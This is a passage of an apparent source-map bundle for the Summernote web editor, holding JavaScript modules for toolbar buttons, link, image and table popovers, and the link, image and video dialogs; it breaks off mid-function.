tooltip: this.lang.image.floatNone,\n        click: this.context.createInvokeHandler('editor.floatMe', 'none')\n      }).render();\n    });\n\n    // Remove Buttons\n    this.context.memo('button.removeMedia', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.image.remove,\n        click: this.context.createInvokeHandler('editor.removeMedia')\n      }).render();\n    });\n  }\n\n  addLinkPopoverButtons() {\n    this.context.memo('button.linkDialogShow', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.edit,\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.unlink', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unlink),\n        tooltip: this.lang.link.unlink,\n        click: this.context.createInvokeHandler('editor.unlink')\n      }).render();\n    });\n  }\n\n  /**\n   * table : [\n   *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n   *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n   * ],\n   */\n  addTablePopoverButtons() {\n    this.context.memo('button.addRowUp', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowAbove),\n        tooltip: this.lang.table.addRowAbove,\n        click: this.context.createInvokeHandler('editor.addRow', 'top')\n      }).render();\n    });\n    this.context.memo('button.addRowDown', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowBelow),\n        tooltip: this.lang.table.addRowBelow,\n        click: this.context.createInvokeHandler('editor.addRow', 'bottom')\n      }).render();\n    });\n    this.context.memo('button.addColLeft', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colBefore),\n        tooltip: this.lang.table.addColLeft,\n        click: this.context.createInvokeHandler('editor.addCol', 'left')\n      }).render();\n    });\n    this.context.memo('button.addColRight', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colAfter),\n        tooltip: this.lang.table.addColRight,\n        click: this.context.createInvokeHandler('editor.addCol', 'right')\n      }).render();\n    });\n    this.context.memo('button.deleteRow', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowRemove),\n        tooltip: this.lang.table.delRow,\n        click: this.context.createInvokeHandler('editor.deleteRow')\n      }).render();\n    });\n    this.context.memo('button.deleteCol', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colRemove),\n        tooltip: this.lang.table.delCol,\n        click: this.context.createInvokeHandler('editor.deleteCol')\n      }).render();\n    });\n    this.context.memo('button.deleteTable', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.table.delTable,\n        click: this.context.createInvokeHandler('editor.deleteTable')\n      }).render();\n    });\n  }\n\n  build($container, groups) {\n    for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {\n      const group = groups[groupIdx];\n      const groupName = $.isArray(group) ? group[0] : group;\n      const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];\n\n      const $group = this.ui.buttonGroup({\n        className: 'note-' + groupName\n      }).render();\n\n      for (let idx = 0, len = buttons.length; idx < len; idx++) {\n        const btn = this.context.memo('button.' + buttons[idx]);\n        if (btn) {\n          $group.append(typeof btn === 'function' ? btn(this.context) : btn);\n        }\n      }\n      $group.appendTo($container);\n    }\n  }\n\n  /**\n   * @param {jQuery} [$container]\n   */\n  updateCurrentStyle($container) {\n    const $cont = $container || this.$toolbar;\n\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    this.updateBtnStates($cont, {\n      '.note-btn-bold': () => {\n        return styleInfo['font-bold'] === 'bold';\n      },\n      '.note-btn-italic': () => {\n        return styleInfo['font-italic'] === 'italic';\n      },\n      '.note-btn-underline': () => {\n        return styleInfo['font-underline'] === 'underline';\n      },\n      '.note-btn-subscript': () => {\n        return styleInfo['font-subscript'] === 'subscript';\n      },\n      '.note-btn-superscript': () => {\n        return styleInfo['font-superscript'] === 'superscript';\n      },\n      '.note-btn-strikethrough': () => {\n        return styleInfo['font-strikethrough'] === 'strikethrough';\n      }\n    });\n\n    if (styleInfo['font-family']) {\n      const fontNames = styleInfo['font-family'].split(',').map((name) => {\n        return name.replace(/[\\'\\\"]/g, '')\n          .replace(/\\s+$/, '')\n          .replace(/^\\s+/, '');\n      });\n      const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));\n\n      $cont.find('.dropdown-fontname a').each((idx, item) => {\n        const $item = $(item);\n        // always compare string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontName + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);\n    }\n\n    if (styleInfo['font-size']) {\n      const fontSize = styleInfo['font-size'];\n      $cont.find('.dropdown-fontsize a').each((idx, item) => {\n        const $item = $(item);\n        // always compare with string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontSize + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontsize').text(fontSize);\n    }\n\n    if (styleInfo['line-height']) {\n      const lineHeight = styleInfo['line-height'];\n      $cont.find('.dropdown-line-height li a').each((idx, item) => {\n        // always compare with string to avoid creating another func.\n        const isChecked = ($(item).data('value') + '') === (lineHeight + '');\n        this.className = isChecked ? 'checked' : '';\n      });\n    }\n  }\n\n  updateBtnStates($container, infos) {\n    $.each(infos, (selector, pred) => {\n      this.ui.toggleBtnActive($container.find(selector), pred());\n    });\n  }\n\n  tableMoveHandler(event) {\n    const PX_PER_EM = 18;\n    const $picker = $(event.target.parentNode); // target is mousecatcher\n    const $dimensionDisplay = $picker.next();\n    const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n    const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n    const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n    let posOffset;\n    // HTML5 with jQuery - e.offsetX is undefined in Firefox\n    if (event.offsetX === undefined) {\n      const posCatcher = $(event.target).offset();\n      posOffset = {\n        x: event.pageX - posCatcher.left,\n        y: event.pageY - posCatcher.top\n      };\n    } else {\n      posOffset = {\n        x: event.offsetX,\n        y: event.offsetY\n      };\n    }\n\n    const dim = {\n      c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n      r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n    };\n\n    $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n    $catcher.data('value', dim.c + 'x' + dim.r);\n\n    if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {\n      $unhighlighted.css({ width: dim.c + 1 + 'em' });\n    }\n\n    if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {\n      $unhighlighted.css({ height: dim.r + 1 + 'em' });\n    }\n\n    $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n  }\n}\n","import $ from 'jquery';\nexport default class Toolbar {\n  constructor(context) {\n    this.context = context;\n\n    this.$window = $(window);\n    this.$document = $(document);\n\n    this.ui = $.summernote.ui;\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n\n    this.followScroll = this.followScroll.bind(this);\n  }\n\n  shouldInitialize() {\n    return !this.options.airMode;\n  }\n\n  initialize() {\n    this.options.toolbar = this.options.toolbar || [];\n\n    if (!this.options.toolbar.length) {\n      this.$toolbar.hide();\n    } else {\n      this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);\n    }\n\n    if (this.options.toolbarContainer) {\n      this.$toolbar.appendTo(this.options.toolbarContainer);\n    }\n\n    this.changeContainer(false);\n\n    this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {\n      this.context.invoke('buttons.updateCurrentStyle');\n    });\n\n    this.context.invoke('buttons.updateCurrentStyle');\n    if (this.options.followingToolbar) {\n      this.$window.on('scroll resize', this.followScroll);\n    }\n  }\n\n  destroy() {\n    this.$toolbar.children().remove();\n\n    if (this.options.followingToolbar) {\n      this.$window.off('scroll resize', this.followScroll);\n    }\n  }\n\n  followScroll() {\n    if (this.$editor.hasClass('fullscreen')) {\n      return false;\n    }\n\n    const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');\n    const editorHeight = this.$editor.outerHeight();\n    const editorWidth = this.$editor.width();\n\n    const toolbarHeight = this.$toolbar.height();\n    $toolbarWrapper.css({\n      height: toolbarHeight\n    });\n\n    // check if the web app is currently using another static bar\n    let otherBarHeight = 0;\n    if (this.options.otherStaticBar) {\n      otherBarHeight = $(this.options.otherStaticBar).outerHeight();\n    }\n\n    const currentOffset = this.$document.scrollTop();\n    const editorOffsetTop = this.$editor.offset().top;\n    const editorOffsetBottom = editorOffsetTop + editorHeight;\n    const activateOffset = editorOffsetTop - otherBarHeight;\n    const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;\n\n    if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {\n      this.$toolbar.css({\n        position: 'fixed',\n        top: otherBarHeight,\n        width: editorWidth\n      });\n    } else {\n      this.$toolbar.css({\n        position: 'relative',\n        top: 0,\n        width: '100%'\n      });\n    }\n  }\n\n  changeContainer(isFullscreen) {\n    if (isFullscreen) {\n      this.$toolbar.prependTo(this.$editor);\n    } else {\n      if (this.options.toolbarContainer) {\n        this.$toolbar.appendTo(this.options.toolbarContainer);\n      }\n    }\n  }\n\n  updateFullscreen(isFullscreen) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);\n\n    this.changeContainer(isFullscreen);\n  }\n\n  updateCodeview(isCodeview) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);\n    if (isCodeview) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n  }\n\n  activate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, true);\n  }\n\n  deactivate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, false);\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class LinkDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.textToDisplay}</label>`,\n      '<input class=\"note-link-text form-control note-form-control  note-input\" type=\"text\" />',\n      '</div>',\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.url}</label>`,\n      '<input class=\"note-link-url form-control note-form-control note-input\" type=\"text\" value=\"http://\" />',\n      '</div>',\n      !this.options.disableLinkTarget\n        ? $('<div/>').append(this.ui.checkbox({\n          id: 'sn-checkbox-open-in-new-window',\n          text: this.lang.link.openInNewWindow,\n          checked: true\n        }).render()).html()\n        : ''\n    ].join('');\n\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.link.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      className: 'link-dialog',\n      title: this.lang.link.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  /**\n   * toggle update button\n   */\n  toggleLinkBtn($linkBtn, $linkText, $linkUrl) {\n    this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());\n  }\n\n  /**\n   * Show link dialog and set event handlers on dialog controls.\n   *\n   * @param {Object} linkInfo\n   * @return {Promise}\n   */\n  showLinkDialog(linkInfo) {\n    return $.Deferred((deferred) => {\n      const $linkText = this.$dialog.find('.note-link-text');\n      const $linkUrl = this.$dialog.find('.note-link-url');\n      const $linkBtn = this.$dialog.find('.note-link-btn');\n      const $openInNewWindow = this.$dialog.find('input[type=checkbox]');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // if no url was given, copy text to url\n        if (!linkInfo.url) {\n          linkInfo.url = linkInfo.text;\n        }\n\n        $linkText.val(linkInfo.text);\n\n        const handleLinkTextUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // if linktext was modified by keyup,\n          // stop cloning text from linkUrl\n          linkInfo.text = $linkText.val();\n        };\n\n        $linkText.on('input', handleLinkTextUpdate).on('paste', () => {\n          setTimeout(handleLinkTextUpdate, 0);\n        });\n\n        const handleLinkUrlUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // display same link on `Text to display` input\n          // when create a new link\n          if (!linkInfo.text) {\n            $linkText.val($linkUrl.val());\n          }\n        };\n\n        $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {\n          setTimeout(handleLinkUrlUpdate, 0);\n        }).val(linkInfo.url);\n\n        if (!env.isSupportTouch) {\n          $linkUrl.trigger('focus');\n        }\n\n        this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n        this.bindEnterKey($linkUrl, $linkBtn);\n        this.bindEnterKey($linkText, $linkBtn);\n\n        const isChecked = linkInfo.isNewWindow !== undefined\n          ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;\n\n        $openInNewWindow.prop('checked', isChecked);\n\n        $linkBtn.one('click', (event) => {\n          event.preventDefault();\n\n          deferred.resolve({\n            range: linkInfo.range,\n            url: $linkUrl.val(),\n            text: $linkText.val(),\n            isNewWindow: $openInNewWindow.is(':checked')\n          });\n          this.ui.hideDialog(this.$dialog);\n        });\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        // detach events\n        $linkText.off('input paste keypress');\n        $linkUrl.off('input paste keypress');\n        $linkBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  /**\n   * @param {Object} layoutInfo\n   */\n  show() {\n    const linkInfo = this.context.invoke('editor.getLinkInfo');\n\n    this.context.invoke('editor.saveRange');\n    this.showLinkDialog(linkInfo).then((linkInfo) => {\n      this.context.invoke('editor.restoreRange');\n      this.context.invoke('editor.createLink', linkInfo);\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class LinkPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.link);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-link-popover',\n      callback: ($node) => {\n        const $content = $node.find('.popover-content,.note-popover-content');\n        $content.prepend('<span><a target=\"_blank\"></a>&nbsp;</span>');\n      }\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.link);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    // Prevent focusing on editable when invoke('code') is executed\n    if (!this.context.invoke('editor.hasFocus')) {\n      this.hide();\n      return;\n    }\n\n    const rng = this.context.invoke('editor.createRange');\n    if (rng.isCollapsed() && rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      const href = $(anchor).attr('href');\n      this.$popover.find('a').attr('href', href).html(href);\n\n      const pos = dom.posFromPlaceholder(anchor);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class ImageDialog {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    let imageLimitation = '';\n    if (this.options.maximumImageFileSize) {\n      const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));\n      const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +\n                         ' ' + ' KMGTP'[unit] + 'B';\n      imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;\n    }\n\n    const body = [\n      '<div class=\"form-group note-form-group note-group-select-from-files\">',\n      '<label class=\"note-form-label\">' + this.lang.image.selectFromFiles + '</label>',\n      '<input class=\"note-image-input note-form-control note-input\" ',\n      ' type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />',\n      imageLimitation,\n      '</div>',\n      '<div class=\"form-group note-group-image-url\" style=\"overflow:auto;\">',\n      '<label class=\"note-form-label\">' + this.lang.image.url + '</label>',\n      '<input class=\"note-image-url form-control note-form-control note-input ',\n      ' col-md-12\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.image.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.image.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showImageDialog().then((data) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      if (typeof data === 'string') { // image url\n        this.context.invoke('editor.insertImage', data);\n      } else { // array of files\n        this.context.invoke('editor.insertImagesOrCallback', data);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showImageDialog() {\n    return $.Deferred((deferred) => {\n      const $imageInput = this.$dialog.find('.note-image-input');\n      const $imageUrl = this.$dialog.find('.note-image-url');\n      const $imageBtn = this.$dialog.find('.note-image-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // Cloning imageInput to clear element.\n        $imageInput.replaceWith($imageInput.clone().on('change', (event) => {\n          deferred.resolve(event.target.files || event.target.value);\n        }).val(''));\n\n        $imageBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($imageUrl.val());\n        });\n\n        $imageUrl.on('keyup paste', () => {\n          const url = $imageUrl.val();\n          this.ui.toggleBtn($imageBtn, url);\n        }).val('');\n\n        if (!env.isSupportTouch) {\n          $imageUrl.trigger('focus');\n        }\n        this.bindEnterKey($imageUrl, $imageBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $imageInput.off('change');\n        $imageUrl.off('keyup paste keypress');\n        $imageBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\n/**\n * Image popover module\n *  mouse events that show/hide popover will be handled by Handle.js.\n *  Handle.js will receive the events and invoke 'imagePopover.update'.\n */\nexport default class ImagePopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n\n    this.editable = context.layoutInfo.editable[0];\n    this.options = context.options;\n\n    this.events = {\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.image);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-image-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n    this.context.invoke('buttons.build', $content, this.options.popover.image);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (dom.isImg(target)) {\n      const pos = dom.posFromPlaceholder(target);\n      const posEditor = dom.posFromPlaceholder(this.editable);\n      this.$popover.css({\n        display: 'block',\n        left: this.options.popatmouse ? event.pageX - 20 : pos.left,\n        top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class TablePopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        this.update(e.target);\n      },\n      'summernote.keyup summernote.scroll summernote.change': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.table);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-table-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.table);\n\n    // [workaround] Disable Firefox's default table editor\n    if (env.isFF) {\n      document.execCommand('enableInlineTableEditing', false, false);\n    }\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isCell = dom.isCell(target);\n\n    if (isCell) {\n      const pos = dom.posFromPlaceholder(target);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n\n    return isCell;\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class VideoDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group row-fluid\">',\n      `<label class=\"note-form-label\">${this.lang.video.url} <small class=\"text-muted\">${this.lang.video.providers}</small></label>`,\n      '<input class=\"note-video-url form-control note-form-control note-input\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.video.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.video.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  createVideoNode(url) {\n    // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n    const ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n    const ytMatch = url.match(ytRegExp);\n\n    const igRegExp = /(?:www\\.|\\/\\/)instagram\\.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n    const igMatch = url.match(igRegExp);\n\n    const vRegExp = /\\/\\/vine\\.co\\/v\\/([a-zA-Z0-9]+)/;\n    const vMatch = url.match(vRegExp);\n\n    const vimRegExp = /\\/\\/(player\\.)?vimeo\\.com\\/([a-z]*\\/)*(\\d+)[?]?.*/;\n    const vimMatch = url.match(vimRegExp);\n\n    const dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n    const dmMatch = url.match(dmRegExp);\n\n    const youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n    const youkuMatch = url.match(youkuRegExp);\n\n    const qqRegExp = /\\/\\/v\\.qq\\.com.*?vid=(.+)/;\n    const qqMatch = url.match(qqRegExp);\n\n    const qqRegExp2 = /\\/\\/v\\.qq\\.com\\/x?\\/?(page|cover).*?\\/([^\\/]+)\\.html\\??.*/;\n    const qqMatch2 = url.match(qqRegExp2);\n\n    const mp4RegExp = /^.+.(mp4|m4v)$/;\n    const mp4Match = url.match(mp4RegExp);\n\n    const oggRegExp = /^.+.(ogg|ogv)$/;\n    const oggMatch = url.match(oggRegExp);\n\n    const webmRegExp = /^.+.(webm)$/;\n    const webmMatch = url.match(webmRegExp);\n\n    let $video;\n    if (ytMatch && ytMatch[1].length === 11) {\n      const youtubeId = ytMatch[1];\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.youtube.com/embed/' + youtubeId)\n        .attr('width', '640').attr('height', '360');\n    } else if (igMatch && igMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')\n        .attr('width', '612').attr('height', '710')\n        .attr('scrolling', 'no')\n        .attr('allowtransparency', 'true');\n    } else if (vMatch && vMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', vMatch[0] + '/embed/simple')\n        .attr('width', '600').attr('height', '600')\n        .attr('class', 'vine-embed');\n    } else if (vimMatch && vimMatch[3].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('src', '//player.vimeo.com/video/' + vimMatch[3])\n        .attr('width', '640').attr('height', '360');\n    } else if (dmMatch && dmMatch[2].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])\n        .attr('width', '640').attr('height', '360');\n    } else if (youkuMatch && youkuMatch[1].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '498')\n        .attr('width', '510')\n        .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);\n    } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {\n      const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '310')\n        .attr('width', '500')\n        .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');\n    } else if (mp4Match || oggMatch || webmMatch) {\n      $video = $('<video controls>')\n        .attr('src', url)\n        .attr('width', '640').attr('height', '360');\n    } else {\n      // this is not a known video link. Now what, Cat? Now what?\n      return false;\n    }\n\n    $video.addClass('note-video-clip');\n\n    return $video[0];\n  }\n\n  show() {\n    const text = this.context.invoke('editor.getSelectedText');\n    this.context.invoke('editor.saveRange');\n    this.showVideoDialog(text).then((url) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      // build node\n      const $node = this.createVideoNode(url);\n\n      if ($node) {\n        // insert video node\n        this.context.invoke('editor.insertNode', $node);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showVideoDialog(text) {\n    return $.Deferred((deferred) => {\n      const $videoUrl = this.$dialog.find('.note-video-url');\n      const $videoBtn = this.$dialog.find('.note-video-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        $videoUrl.val(text).on('input', () => {\n          this.ui.toggleBtn($videoBtn, $videoUrl.val());\n        });\n\n        if (!env.isSupportTouch) {\n          $videoUrl.trigger('focus');\n        }\n\n        $videoBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($videoUrl.val());\n        });\n\n        this.bindEnterKey($videoUrl, $videoBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $videoUrl.off('input');\n        $videoBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          